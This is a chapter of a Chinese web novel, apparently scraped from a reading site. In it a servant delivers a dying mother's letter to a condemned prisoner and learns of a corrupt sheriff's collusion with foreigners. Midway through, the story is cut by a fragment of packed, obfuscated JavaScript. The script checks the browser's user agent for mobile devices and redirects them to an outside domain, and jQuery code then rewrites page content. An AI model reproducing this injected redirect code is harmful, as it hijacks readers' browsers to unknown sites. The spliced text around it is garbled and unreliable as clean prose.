倘若那些推测属实,屠狗六被抓,现在肯定已经知晓宵烛见过贺叶屈邻真,而那间山洞就是贺叶屈邻真曾经的藏身地点。 宵烛主要是怕屠狗六死到临头狗急跳墙,把自己给供出来。 想到这种可能,宵烛背后骤然惊起一层冷汗。 * 从初一到初五,宵烛惴惴不安地等了整整五天。 好在暂时没人来找他麻烦。 周师傅说,屠狗六处斩的日子定在正月十六,也就是过完年后的第一天。 定这个日子主要是为了避免沾染晦气,毕竟大过年的不适合见血,不吉利。 周师傅一直对屠狗六的母亲瞒着此事,每回老夫人问起,只含含糊糊地说不清楚,没收到消息,说吉人自有天相,让她不要担心。 一次两次还好,次数一多,陈老夫人便敏锐察觉到了不对劲。 她问周师傅: “你跟我说实话,六郎他,是不是出事了?” 周师傅沉默一瞬,然后说: “您……节哀。” 事已至此,也没有瞒的必要了。 话音刚落,老人的神色肉眼可见地枯败下去,犹如一株被吸干了所有养分的枯藤。 她没有歇斯底里地哭嚷,而是喃喃道: “我知道了,我知道了。这就是我的命。” 命运弄人。她一生共育有六个子女,每一个都留不住,到生命行将就木之时,仍是孤寡一人。 陈老夫人摇摇晃晃地从藤椅上起身。她看不见,只能用手摸索着往前走。 太阳出来了,阳光洒落在门前的台阶上,明亮得晃眼。远处时不时有爆竹声响起,新春佳节里热热闹闹的。 陈老夫人腿脚不便,被台阶绊了一跤,差点跌倒。 周师傅赶紧扶住她,问:“您想去哪儿?” 老夫人说:“我要去找我儿。” “他犯了重罪,现下正被关在大牢里,旁人不得探视,”周师傅叹气,“您见不到他。” “我是将死之人,活不了几天了,”老夫人颓然道,“在撒手人世之前,我只想见六郎一面。有那么难吗?” 周师傅说: “小辈无能,没办法让您见到六郎。您若有什么想留给他的话,可以尽数告知我,我会托人转达……宵烛,去拿纸和笔。你会写字吧?” 宵烛点了点头。 纸和笔很快被取来。 周师傅让宵烛记录陈老夫人的留言。 但从头到尾,她就只说了一句:“六郎,一路珍重。” 其他的都没有了。 “六郎认识的字不多,写多了他也看不懂,”陈老夫人阖上双目,神色黯然,“一句便足矣。辛苦你们,帮我将这句话转达给他。” 纸上墨迹渐渐干涸。 宵烛小心翼翼地团起信纸,正要交给周师傅,却听他一声惊呼:“陈嫂子!” 陈老夫人像瞬间被抽光所有力气。她身体一软,瘫倒在藤椅上,脸上泛着不自然的青灰色。 她病了,而且病得很重。 周师傅赶紧请来郎中为她看病。 诊完脉后,郎中无奈摇了摇头。 老夫人这是心病,病入膏肓,药石无医。 “宵烛,”周师傅面色凝重,“我要照顾陈嫂子,实在抽不开身。明日你替我去一趟官府大牢,带着那封信一起去。我认识一个在那里当差的朋友,你把信交给他,他会转交给屠狗六。” 宵烛自然应下。 * 第二天。 宵烛遵照着周师傅的吩咐,携了只竹篮出门。竹篮里装着信件和一些酒菜。 他来到官府大牢的偏门处,等候接应。 本以为很快就会有人接手,谁知等了半天,宵烛半个人影都没等到。 ——真是奇了怪了,人呢? 宵烛有点焦虑。 约莫午时,终于有个衙役打扮的人急匆匆跑了过来。 “是周裁缝托你送的东西吧?”衙役气喘吁吁道,“县尉老爷临时下了点任务,我抽不开身。你直接进去吧,看守我已经打点好了。犯人在最后一间牢房。记住,送完东西赶紧离开,不要逗留!” 这意料之外的变故令宵烛愣了愣。 还没等他作出反应,衙役便匆匆离开了。 事不宜迟,想到卧病在床的陈老夫人,宵烛不再犹豫,径直从偏门踏进大牢。 大牢里光线很昏暗,刚进去,一股阴冷潮湿的气息瞬间扑面而来。 宵烛下意识皱了皱鼻子。 此时这里只有零星三两个看守。果然如那衙役所言,见到宵烛,看守们并未露出惊讶之色,也没有阻止他的闯入,显然早就被打点好了。 很快,宵烛就找到了屠狗六。 这名平日里天不怕地不怕的无赖,此时穿着又脏又破的囚衣,坐在牢房角落百无聊赖地掰指头玩。 虽然看起来有点狼狈,但宵烛发现,屠狗六身上只有一些轻微的擦伤和於痕,并无被严刑拷打过的痕迹。 ——难道县尉没有审问他? 这更不合理了。 抓到一名奸细,掠过审讯环节直接下令处斩,不仅不合规矩,还颇有些……堵嘴的意味。 “你怎么来了?”见到宵烛,屠狗六神色诧异,“是来看我笑话的?” 不等宵烛回应,屠狗六又狡黠地笑了笑: “你最好别以为自己就能高枕无忧了。他们都说贺叶屈邻真是我放跑的,但其实……真正见过他的人只有你,对吧?不然为什么你看到悬赏告示会是那种反应,还好巧不巧走到了他藏身的山洞口?如若我去向县尉禀报,下一个被抓到这大牢来的可就是你了,小哑巴。” 宵烛用力掐着竹篮提手,指腹微微泛白,指尖在上面留下一道道划痕。 屠狗六的一段话,让他什么都明白了。 他的推测没错,那日跟踪他到山洞外的人,的确是屠狗六。 但屠狗六不是须滕奸细。这无赖当时甚至不清楚自己捡到的银镯其实是镣铐,因为一时贪念,稀里糊涂典当了镣铐,又稀里糊涂惹上牢狱之灾。 这么说的话……在宵烛第二次经过山洞的时候,贺叶屈邻真应该早就挣断镣铐离开了。 可他那时伤得不轻,行动受限,外面又到处是朝廷贴的悬赏画像,到底是谁帮助他悄无声息逃走的? 事态紧急,眼下境况不容多想。 宵烛从竹篮里抽出那封信,递给屠狗六。 “这什么?” 屠狗六伸手接过信,拆开。 看清信上内容时,他忽然一怔。 17. 经年逢 宵烛取出竹篮里的酒菜,摆到屠狗六伸手能够到的位置。 快上路了,总得吃点好的。 屠狗六死死攥着信纸,终于收起满身松弛。 信无落款,且笔迹陌生,但他已经认出了这是谁的留言。 ——这天底下,除了母亲,还有谁会称呼他为“六郎”? 再开口时,他的声音有些苦涩: “我娘她……现在怎么样?” 宵烛其实并不想搭理屠狗六,但看在陈老夫人的面子上,还是轻轻摇了摇头。 老夫人的情况很不好。 她原本年纪就大了,身体每况愈下,加之忧思过度,如今只勉强吊着最后一口气,能不能挺过这个冬天还难说。 这母子俩,或许不久后就能在黄泉路上见面。 屠狗六颓然地跌坐在草团里。 “我是个不孝子,”他说,“我对不起她。” 事已至此,再说什么对不对得起,已经晚了。 东西带到,宵烛便完成了自己的任务,于是把空篮子一提,打算离开。 “替我照顾好我娘。”见宵烛要走,屠狗六道:“我不会把你和贺叶屈邻真的事告诉县尉。” 屠狗六的语气收敛了很多,不再像以往那样咄咄逼人。但宵烛仍从中听出了一丝威胁。 死到临头,还这么嚣张。 宵烛有点不悦,他不喜欢被威胁。其实就算屠狗六不开口,他和周师傅也会照顾好陈老夫人。 屠狗六被冤枉了,他没有通敌。但说到底,如果不是他贪欲太重,又怎会被卷进这桩麻烦里?况且他以前干的坏事也不少,如今倒是恶人自有恶人磨了。 好人蒙冤,旁人自会同情;坏人落难,可谓老天开眼。 “还有一件事,”屠狗六盯着宵烛的背影,又道,“你出去以后……小心县令和县尉。” ——县令和县尉?! 宵烛脚步一顿。 石硚岭的县令名为赵安涛,是个不折不扣的贪吏,盘剥起百姓来从不手软,这是众所周知的。 县尉刘保则负责统辖县内治安,此番屠狗六的处决令便是由他下达。 屠狗六的意思是……刘保也有问题?! 若屠狗六所言为真,这就能解释刘保为何要越过上级、跳过审讯程序,直接将“奸细”处斩了。 “刘保急着杀我,并不是因为我捡到了那副玄古秘银镣铐,那只是一个用来掩盖真相的说辞罢了。他是怕我泄露他的秘密,急着堵我嘴呢,”屠狗六压低声音,快速道,“前阵子我牵狗出门溜弯,无意中在石硚山后山发现了一条隐蔽的密径,更古怪的是,那天县尉刘保也在场,和一伙裹着黑袍子的人交谈。我听他们说的不是中原话,有点像北方语言,旁边还跟着好几辆装货的马车。怪我心大,喝酒的时候把这件事泄出去了,没几天刘保就派人找上了我,他——” “嘎吱——!” 话说到一半,大牢外间的铁门忽然被推开! 宵烛吓懵了,脑袋霎时变得空白一片。 几道说话声和脚步声随之从外间传来: “——大过年的,咱兄弟们还要在这晦气地方值守,真命苦啊!” “——谁说不是呢。本来我和老婆约好带孩子回她娘家探亲,结果官老爷一道令下,老子哪都去不成了!真是上辈子欠的!” “——咋没看见老黄?清早那会儿他不是还在吗?” “——他啊,倒霉催的被县令老爷叫走咯!你不知道?咱石硚岭今天可是来贵客了!县令老爷一心想巴结贵客,把官府里的大部分人手都抽去给人家接风洗尘了。” “——开玩笑吧?咱这破地方,荒山野岭的,哪个贵客想不开跑这里来过年?” “——你太孤陋寡闻了,我告诉你,今天来的贵客可是……” 讲到此处,说话之人忽然把声音压低了很多,后面的话宵烛无法听清。 另一人听后,陡然拔高音量,惊呼道: “——真的假的?!” “——当然是真的,我可没兴趣骗你这蠢货。” “——难怪县令老爷看起来那么高兴。不过,他抽调的是刘县尉手下的人,县尉不会恼火吗?” “——所以我说老黄倒霉呢。夹在两位老爷之间,简直里外不是人!害,甭管那么多了,今天初六,走走走,咱一起去喝一杯……” “哐当!” 铁门再度合上,脚步声远去。 刚才那俩应该是值守牢房的小吏。 他们没到牢房深处来,所以也就没撞见宵烛。 但宵烛已经不敢再逗留下去。 他回头瞥了屠狗六一眼,见屠狗六靠坐在墙角,没有再开口的意思,便提着竹篮,匆匆从大牢偏门离开。 * 出了牢房,外头天光正盛,宵烛的脑子却乱糟糟的。 屠狗六话没说完,但他已然能听懂对方的未尽之言。 ——真正通敌并放走贺叶屈邻真的人,不是别人,正是石硚岭县尉刘保! 原来是一出贼喊捉贼。 长期以来,刘保很可能一直在与外族勾结,并利用职务之便,偷偷往北方运送违禁品。 石硚岭的位置非常特殊。它不在边境线上,所以不会被朝廷注意到;它的北部靠近白微关,层层叠叠的山峦虽然会阻碍交通,却也提供了相对隐蔽的运输环境。 所以,石硚岭很可能已经成了刘保联络须滕人的秘密据点。 正因如此,贺叶屈邻真在逃亡时,没有第一时间往边境逃,而是绕远路来到了这座贫穷的小县城。 因为他知道,石硚岭会有人接应他。 密径无意中被屠狗六窥见,屠狗六缺乏警惕心,泄露了这个秘密,很快被刘保的人盯上。恰好此时又闹出了当铺一事,刘保便以通敌的罪名将屠狗六抓了起来。 只要处决屠狗六,这件事就能继续瞒下去。 刘保好大的胆子! 不知县令赵安涛在其中扮演了什么样的角色? 宵烛听人说起过,赵县令和刘县尉素来不对付,铆着劲儿想把对方踢下去。 对于这件事,赵安涛要么根本不知情,要么也是同一根利益绳上的蚂蚱。 ——区区一个石硚岭,竟能同时容下贪官和奸吏两尊大佛,当真是“人才济济”! 宵烛倍感头疼。 赵安涛和刘保这两只蠹虫,扒在石硚岭百姓身上吸了一年又一年的血,百姓对他们恨之入骨,却拿他们一点办法也没有。 屠狗六把此事告知他,定是存了让他帮忙翻案的心思。 想到乱石村里那些因没有田地而活活饿死的村民,宵烛只觉讽刺。 他并非局外之人,正因经历过不公的对待,才会对他人的苦难感同身受。 石硚岭年年都有惨剧上演,坐视不理,未免显得太冷漠。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15490825|170129||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >可现在的问题是,他该怎么在保证自身安全的情况下揭露县令县尉的罪行? 凭他的能力,想要扳倒有权有势的官员,无异于蚍蜉撼树。 更何况,不久后他就要离开石硚岭了。他是宣湣的仙侍,有自己命定的职责,不可能抛下一切去拼个鱼死网破,他还要为宣兰樾—— 正想得入神时,宵烛倏然停住脚步。 他是从官府大牢的偏门走的,出来就是一条僻静的街巷。往日这里几乎看不到行人。 人少才好。他探访屠狗六,本来就不是什么能堂而皇之摆在明面上的事情。 但今天,他在巷子里走,迎面就撞上了两个骑着马的人影。 “嗒、嗒、嗒——” 马蹄踏碎满地枯叶,在青石板上叩出有节奏的韵律。 坐在左边那匹枣红战马上的是一名身着玄甲的男人,腰间悬着一柄沉甸甸的青铜佩剑。 他一手按着剑鞘,另一只手上缠着马鞭,大半张脸隐藏在面盔下,看不清五官,周身气势却沉稳凛然,教人无法忽视。 而男人身侧,骑着白蹄乌骓与他并行的,是一名披着狐裘的少年。 少年的面容轮廓十分青涩,想来应该年纪不大,甚至可能比宵烛还小,但骑马骑得很稳当。 几圈缰绳松松挽在他腕间,袖口滑出一截暖玉般的白皙肌肤,与粗粝的缰绳形成微妙的对比。 寒风拂过少年耳侧,将原本梳得整整齐齐的发丝吹乱了些许。 他微微偏头,拨开碍事的发丝,额间一片深紫色胎记便毫无保留地浮现在了宵烛眼前。 分明是从未见过面的陌生人,但不知为何……宵烛从这个少年身上寻到了一丝奇异的熟悉感。 少年的容貌和气质实在太过特殊,玉魂冰魄、兰姿鹤骨,谪仙尘韵莫过如是,见过一眼就很难忘怀,宵烛不认为自己会忘记如此特别的人。 宵烛呆呆站在原地,眼睛眨也不眨地锁在少年身上。 很快,他又惊觉这样的行为太过无礼,于是赶紧低下头,匆匆走远了。 而在他低头的一瞬间,白衣少年似有所觉,略显冷淡的目光不经意向宵烛这边投来。 还是晚了,视线只来得及捕捉到一个单薄瘦弱的背影。 “你已经很多年没回过中原了吧,怀念么?” 一旁的男人忽然出声,唤回少年思绪。 “没什么印象。” 男人一哂: “也对,瞧我这记性。你出生没多久就被送走了,哪还能记得那些往事。” “吕将军,您的剑穗旧了。” 似是不愿回忆往昔,少年语调一转,突兀地换了个话题。 男人一愣,顺着他的目光看向自己的剑柄。 只见剑柄上,青铜打造的睚眦兽首被磨得发亮,兽颈处缠着的朱红剑穗却已褪成了陈旧的暗褐色。 ——不,那不是褪色。 剑穗上沾的,分明是敌军的血。 一年又一年,暗褐色的血迹层层累积,把剑穗染得面目全非。 望着它,男人恍惚想起,以前长姐还在人世时,每逢大捷归来,她都会为他编结新的剑穗。后来长姐身亡,就再也没人替他更换剑穗了。 多年过去,至亲已逝,旧物犹在,睹物思人未免伤怀。 半晌,男人叹了口气,对少年道: “我是你的舅舅,私下里就不必再称我为将军了。”